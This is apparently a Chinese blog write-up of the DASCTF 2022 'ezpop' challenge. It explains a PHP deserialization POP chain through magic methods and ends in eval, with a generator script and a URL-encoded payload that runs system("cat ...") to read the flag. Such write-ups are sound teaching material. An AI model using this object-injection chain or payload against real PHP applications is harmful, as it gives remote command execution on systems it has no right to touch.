[2022DASCTF]ezpop
阿新 • • 發佈:2022-03-26
ezpop
開啟環境,直接獲得原始碼:
<?php class crow { public $v1; public $v2; function eval() { echo new $this->v1($this->v2); } public function __invoke() { $this->v1->world(); } } class fin { public $f1; public function __destruct() { echo $this->f1 . '114514'; } public function run() { ($this->f1)(); } public function __call($a, $b) { echo $this->f1->get_flag(); } } class what { public $a; public function __toString() { $this->a->run(); return 'hello'; } } class mix { public $m1; public function run() { ($this->m1)(); } public function get_flag() { eval('#' . $this->m1); } } if (isset($_POST['cmd'])) { unserialize($_POST['cmd']); } else { highlight_file(__FILE__); } ?>
看見unserialize,判斷這題是反序列化,然後找切入口,看了一眼,沒看見wakeup函式,所以得找其他切入口。
發現fin類中有__destruct解構函式,從此切入,直接new fin()。
在裡面有echo操作,推測會用到__toString魔術方法。
this->f1這是一個切入口,可以在這裡new一個物件,即f1=new what()。
接著看what類中的__toString方法,看到this->a,又是一個切入點,然後找哪個類裡有run這個方法的,去new一下這個類,發現mix裡面有run,但fin裡面也有run,兩個方法一模一樣,用誰無所謂,這裡a=new mix()
此時程式已經進入mix類中的run方法,下面就要用到__invoke這個魔術方法,即將類當做函式使用。
自然而然會想到去new一個crow,即m1=new crow()。
此時程式已經進入crow類中的__invoke方法,這個方法裡最後會去指向一個world函式,但是搜遍全文未發現該函式。
所以下面就要用到__call這個魔術方法,該方法會在程式找不到函式時被呼叫,所以v1=new fin()。
然後在該方法中的切入點又為this->f1,他最終會去呼叫get_flag()這個方法,所以f1=new mix()。
最終只要給m1賦值命令就可以了,前面的註釋符可以使用回車繞過。
過程梳理:
//切入點
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
}
//給f1這裡建立一個物件new waht()
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
//給a這裡再建立一個物件new mix()
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
}
//給m1這裡再建立一個物件new crow()
class crow
{
public $v1;
public $v2;
public function __invoke()
{
$this->v1->world();
}
}
//給v1這裡再建立一個物件new fin()
class fin
{
public $f1;
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
//給f1這裡再建立一個物件new mix()
class mix
{
public $m1;
public function get_flag()
{
eval('#' . $this->m1);
}
}
//最後給m1賦值執行命令
生成序列化字串:
<?php
class crow
{
public $v1;
public $v2;
}
class fin
{
public $f1;
}
class what
{
public $a;
}
class mix
{
public $m1;
}
$a = new fin();
$b = new what();
$c = new mix();
$d = new crow();
$a->f1 = $b;
$b->a = $c;
$c->m1 = $d;
$a2 = new fin();
$c2 = new mix();
$d->v1 = $a2;
$a2->f1 = $c2;
$c2->m1 = "
system(\"cat H0mvz850*.php\");";
echo urlencode(serialize($a));
?>
結果:
O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A29%3A%22%0Asystem%28%22cat+H0mvz850%2A.php%22%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D
總結:
題目裡的uuid怕是唬人的,正常構造pop鏈,執行命令即可。